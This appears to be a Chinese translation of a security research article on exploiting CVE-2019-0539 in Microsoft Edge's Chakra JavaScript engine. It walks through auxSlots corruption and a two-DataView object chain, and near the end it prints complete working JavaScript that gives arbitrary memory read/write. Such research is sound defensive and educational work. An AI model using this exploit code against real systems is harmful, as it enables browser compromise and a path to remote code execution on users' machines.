原文地址:https://perception-point.io/resources/research/cve-2019-0539-exploitation/
引言
在上一篇文章中,我们介绍了CVE-2019-0539漏洞的成因,在本文中,我们将为读者介绍如何实现完整的R/W(读/写)原语,以为实现RCE(远程执行代码)攻击打下基础。需要注意的是,Microsoft Edge进程是运行在沙箱中的,因此,为了彻底拿下整个系统,需要借助其他漏洞来实现沙箱逃逸。
在这里,我们要特别感谢Lokihardt和Bruno Keith在这一领域的精彩研究,这些研究对于本文来说非常有价值。
漏洞利用
正如我们在成因分析中所看到的,该漏洞使我们能够覆盖javascript对象的slot数组指针。在BlueHat IL 2019大会上,Bruno Keith发表了一篇精彩的研究,我们从中了解到,在Chakra中,javascript对象(o={a: 1, b: 2};)是通过Js::DynamicObject 类实现的,并且,它们可能具有不同的内存布局;同时,我们还了解到属性的slot数组指针称为auxSlots。从DynamicObject类的定义(位于lib\Runtime\Types\DynamicObject.h文件中)中,我们找到了Bruno讨论的DynamicObject的三种可能内存布局的实际规范:
// Memory layout of DynamicObject can be one of the following:
// (#1) (#2) (#3)
// +--------------+ +--------------+ +--------------+
// | vtable, etc. | | vtable, etc. | | vtable, etc. |
// |--------------| |--------------| |--------------|
// | auxSlots | | auxSlots | | inline slots |
// | union | | union | | |
// +--------------+ |--------------| | |
// | inline slots | | |
// +--------------+ +--------------+
// The allocation size of inline slots is variable and dependent on profile data for the
// object. The offset of the inline slots is managed by DynamicTypeHandler.
所以,一个对象可能只有一个auxSlots指针而没有内联slot(#1),或者,也可能只有内联slot却没有auxSlots指针(#3),或者两者都有(#2)。在CVE-2019-0539漏洞的POC中,“o”对象是从(#3)内存布局表单开始其生命周期的。然后,当JIT代码最后一次调用OP_InitClass函数时,对象“o”的内存布局就地更改为(#1)。特别是,在JIT代码调用OP_InitClass函数之前和之后,“o”的内存布局如下所示:
之前: 之后:
+---------------+ +--------------+ +--->+--------------+
| vtable | | vtable | | | slot 1 | // o.a
+---------------+ +--------------+ | +--------------+
| type | | type | | | slot 2 | // o.b
+---------------+ +--------------+ | +--------------+
| inline slot 1 | // o.a | auxSlots +---+ | slot 3 |
+---------------+ +--------------+ +--------------+
| inline slot 2 | // o.b | objectArray | | slot 4 |
+---------------+ +--------------+ +--------------+
在调用OP_InitClass之前,o.a属性通常位于第一个内联slot中。调用后,它通常位于auxSlots指向的数组中,如slot1。因此,正如我们之前在成因分析中所解释的那样,JIT代码会尝试用0x1234来更新第一个内联slot中的o.a属性,但是,由于它不知道对象的内存布局已经发生了变化,因此,它实际上会覆盖auxSlots指针。
现在,为了利用这个漏洞来获得完整的R\W原语,如Bruno所言,我们需要破坏其他一些有用的对象,并通过这些对象来读\写内存中的任意地址。但是,我们首先需要更好地理解该漏洞能给我们带来了哪些好处。当我们覆盖DynamicObject的auxSlots指针时,我们可以像在auxSlots数组那样,来“对待”auxSlots中的内容。因此,如果我们可以使用该漏洞来设置auxSlots,使其指向JavaScriptArray对象,如下所示
some_array = [{}, 0, 1, 2];
...
opt(o, cons, some_array); // o->auxSlots = some_array
然后,我们可以通过将这些属性赋值为“o”来覆盖JavascriptArray对象“some_array”的内存。在使用该漏洞覆盖auxSlots后,内存状态如下所示:
o some_array
+--------------+ +--->+---------------------+
| vtable | | | vtable | // o.a
+--------------+ | +---------------------+
| type | | | type | // o.b
+--------------+ | +---------------------+
| auxSlots +---+ | auxSlots | // o.c?
+--------------+ +---------------------+
| objectArray | | objectArray | // o.d?
+--------------+ |- - - - - - - - - - -|
| arrayFlags |
| arrayCallSiteIndex |
+---------------------+
| length | // o.e??
+---------------------+
| head | // o.f??
+---------------------+
| segmentUnion | // o.g??
+---------------------+
| .... |
+---------------------+
因此,理论上说,如果我们想要覆盖数组的长度字段,我们可以执行o.e = 0xFFFFFFFF之类的赋值操作,然后,通过some_array [1000],就能根据数组的基地址访问一些远程地址。但是,这里面临几个问题:
除“a”和“b”之外的所有其他属性都未定义。这意味着为了将o.e定义在正确的槽中,我们首先需要为所有其他属性分配相应的空间,这个操作会破坏比所需更多的内存,从而导致我们的数组无法使用。
- 原始的auxSlots数组不够大。它最初只分配了4个slot。如果我们定义了4个以上的属性,Js::DynamicTypeHandler::AdjustSlots函数将分配一个新的slot数组,并让auxSlots指向它,而非指向我们的JavascriptArray对象。
- 我们原本打算放入JavascriptArray对象的length字段中的0xFFFFFFFF值将无法完全按原样写入。因为Chakra会使用所谓的标记型数字,因此,待写入的数字将被进行“包装”。(相关的细节,请参阅Chartra的博客文章)。
- 即使我们能够用一些较大的值覆盖长度字段,同时避免破坏内存的其余部分,我们也只能得到一个“相对”的R\W原语(相对于数组基地址),其功能明显不如“绝对”R\W原语强大。
- 实际上,覆盖JavascriptArray的长度字段是没有用的,这无法帮助我们实现所期望的相对R\W原语。在这种特殊情况下,真正需要做的是破坏数组的段大小,但我们不会在这里讨论。尽管如此,让我们假设覆盖长度字段是有用的,因为它很好地展示了该利用方法的精妙之处。
因此,我们需要找到一些特殊的技术,才能克服上述问题。现在,让我们先讨论问题1和问题2。首先要想到的是,在触发漏洞之前,可以先在“o”对象中预定义更多的属性。这样的话,当覆盖auxSlots指针时,我们就已经在与数组的长度字段相对应的正确槽中定义好了o.e。不幸的是,当预先添加更多属性时,会出现以下两种情况之一:
- 我们过早地将对象内存布局修改为布局(#1),这样的话,从一开始就阻止了该漏洞的发生,因为,再也没有机会覆盖auxSlots指针了。
- 我们只是创建了更多的内联slot,而这些slot在触发该漏洞后始终保持内联状态。对象以布局(#2)结束,大多数属性位于新的内联slot中。因此,我们仍然无法抵达所谓的auxSlots数组中索引号高于slot2的slot,即“some_array”对象的内存。
Bruno Keith在他的演讲中提出了一个很好的思路,可以同时解决问题1和问题2。该方法不是直接破坏目标对象(在我们的示例中是JavaScriptArray),而是首先破坏另一个预先准备好的、具有许多属性的DynamicObject,该对象已经位于内存布局(#1)中,具体如下所示:
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
some_array = [{}, 0, 1, 2];
...
opt(o, cons, obj); // o->auxSlots = obj
o.c = some_array; // obj->auxSlots = some_array
让我们看一下运行o.c=some_array;语句前后的内存状态:
运行之前:
o obj
+--------------+ +--->+--------------+ +->+--------------+
| vtable | | | vtable | //o.a | | slot 1 | // obj.a
+--------------+ | +--------------+ | +--------------+
| type | | | type | //o.b | | slot 2 | // obj.b
+--------------+ | +--------------+ | +--------------+
| auxSlots +---+ | auxSlots +--------+ | slot 3 | // obj.c
+--------------+ +--------------+ +--------------+
| objectArray | | objectArray | | slot 4 | // obj.d
+--------------+ +--------------+ +--------------+
| slot 5 | // obj.e
+--------------+
| slot 6 | // obj.f
+--------------+
| slot 7 | // obj.g
+--------------+
| slot 8 | // obj.h
+--------------+
| slot 9 | // obj.i
+--------------+
| slot 10 | // obj.j
+--------------+
运行之后:
o obj some_array
+--------------+ +--->+--------------+ +->+---------------------+
| vtable | | | vtable | //o.a | | vtable | // obj.a
+--------------+ | +--------------+ | +---------------------+
| type | | | type | //o.b | | type | // obj.b
+--------------+ | +--------------+ | +---------------------+
| auxSlots +---+ | auxSlots +-//o.c--+ | auxSlots | // obj.c
+--------------+ +--------------+ +---------------------+
| objectArray | | objectArray | | objectArray | // obj.d
+--------------+ +--------------+ |- - - - - - - - - - -|
| arrayFlags |
| arrayCallSiteIndex |
+---------------------+
| length | // obj.e
+---------------------+
| head | // obj.f
+---------------------+
| segmentUnion | // obj.g
+---------------------+
| .... |
+---------------------+
现在,执行obj.e=0xFFFFFFFF实际上将替换"some_array"对象的长度字段。但是,如问题3中所述,该值不会按原样写入,而是以"包装后"的形式写入。即使我们忽略问题3,问题4-5仍然会使我们所选择的对象无效。因此,我们应该选择另一个破坏的对象。Bruno巧妙地在漏洞利用代码中选择使用ArrayBuffer对象,但不幸的是,在提交CF71A962C1CE0905A12CB3C8F23B6A37987E68DF时,ArrayBuffer对象的内存布局已经发生了更改。它不再指向数据缓冲区,而是通过BufferContent字段指向名为RefCountedBuffer的中间结构,并且只有该结构指向实际数据。因此,我们需要一种不同的解决方案。
最终,我们想到了破坏DataView对象的方法,该对象实际上在内部使用了ArrayBuffer。因此,它与使用ArrayBuffer时具有类似的优点,它也直接指向ArrayBuffer的底层数据缓冲区!下面是使用ArrayBuffer初始化的DataView对象的内存布局(dv = new DataView(new ArrayBuffer(0x100));):
如我们所见,DataView对象指向的是ArrayBuffer对象。而ArrayBuffer则指向前面提到的RefCountedBuffer对象,然后,该对象指向内存中的实际数据缓冲区。但是,如前所述,DataView对象也直接指向实际的数据缓冲区! 如果我们用自己的指针覆盖DataView对象的缓冲区字段,我们实际上可以根据需要实现所需的绝对读写原语。所以,我们的障碍只剩下问题3——我们不能使用损坏的DynamicObject在内存中按原样写入数字(标记型数字……)。但是现在,由于DataView对象允许我们在其指向的缓冲区上按原样写入数字(有关详细信息,请参见DataView“API”),我们可以再次借鉴Bruno的思路,使用两个DataView对象,其中第一个对象指向第二个对象,并按照我们希望的方式来破坏它。这样,就能解决了最后一个问题,并获得了梦寐以求的绝对R\W原语。
让我们回顾一下整个利用过程,具体见下面的图示和说明(这里省略了我们不感兴趣的对象):
- 触发将"o"对象的auxSlots设置为“obj”对象(opt(o, cons, obj);)的漏洞。
- 使用“o”对象将“obj”对象的auxSlots设置为第一个DataView(o.c = dv1;)。
- 使用“obj”对象将第一个DataView (‘dv1’) 的缓冲区字段设置为下一个DataView对象(obj.h = dv2;)。
- 使用第一个DataView对象“dv1”将第二个DataView对象“dv2”的缓冲区字段精确设置为指定的地址(dv1.setUint32(0x38, 0xDEADBEEF, true); dv1.setUint32(0x3C, 0xDEADBEEF, true);)。大家请注意观察这里是如何将所选地址(0xDEADBEEFDEADBEEF)写入“dv2”缓冲区字段的精确偏移量(0x38)的。
- 使用第二个DataView对象(“dv2”)读写指定的地址(dv2.getUint32(0, true); dv2.getUint32(4, true);)。
- 对于要执行的每个读写操作,我们都要重复步骤4和5。
下面是完整的R\W原语代码:
// commit 331aa3931ab69ca2bd64f7e020165e693b8030b5
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));
BASE = 0x100000000;
function hex(x) {
return "0x" + x.toString(16);
}
function opt(o, c, value) {
o.b = 1;
class A extends c {}
o.a = value;
}
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, (function () {}), {});
}
let o = {a: 1, b: 2};
let cons = function () {};
cons.prototype = o;
opt(o, cons, obj); // o->auxSlots = obj (Step 1)
o.c = dv1; // obj->auxSlots = dv1 (Step 2)
obj.h = dv2; // dv1->buffer = dv2 (Step 3)
let read64 = function(addr_lo, addr_hi) {
// dv2->buffer = addr (Step 4)
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);
// read from addr (Step 5)
return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE;
}
let write64 = function(addr_lo, addr_hi, value_lo, value_hi) {
// dv2->buffer = addr (Step 4)
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);
// write to addr (Step 5)
dv2.setInt32(0, value_lo, true);
dv2.setInt32(0, value_hi, true);
}
// get dv2 vtable pointer
vtable_lo = dv1.getUint32(0, true);
vtable_hi = dv1.getUint32(4, true);
print(hex(vtable_lo + vtable_hi * BASE));
// read first vtable entry using the R\W primitive
print(hex(read64(vtable_lo, vtable_hi)));
// write a value to address 0x1111111122222222 using the R\W primitive (this will crash)
write64(0x22222222, 0x11111111, 0x1337, 0x1337);
}
main();
注意:如果您想自己调试代码(例如,在WindBG中),一个非常方便的方法是使用“instruments”中断JS代码中感兴趣的行。为此,请参阅以下两个有用的示例:
- 在ch!WScriptJsrt::EchoCallback上设置断点,以在执行print();时停下来。
- 在chakracore!Js::DynamicTypeHandler::SetSlotUnchecked上设置断点,以便解释器在执行为DynamicObject属性赋值的语句前停下来。这对于了解JavaScript对象(“o”和“obj”)如何损坏内存中的其他对象非常有用。
当然,您可以将两者结合使用,就能轻松地浏览整个利用代码了。
小结
本文中,我们详细介绍了如何使用DynamicObject auxSlots的JIT损坏来最终获得完整的R\W原语。在这里,我们必须使用损坏的对象来进一步破坏其他感兴趣的对象——特别是两个DataView对象,其中第一个会精确地破坏第二个,以控制原语的选择地址。同时,我们还必须设法绕过使用javascript的DynamicObject“API”强加的一些限制和问题。最后,需要注意的是,获取完整的R\W原语只是利用该漏洞的第一步。攻击者仍然需要重定向执行流,以获得完整的RCE。然而,这已经超出了本文的范围,或者,也可以看作是留给读者的作业。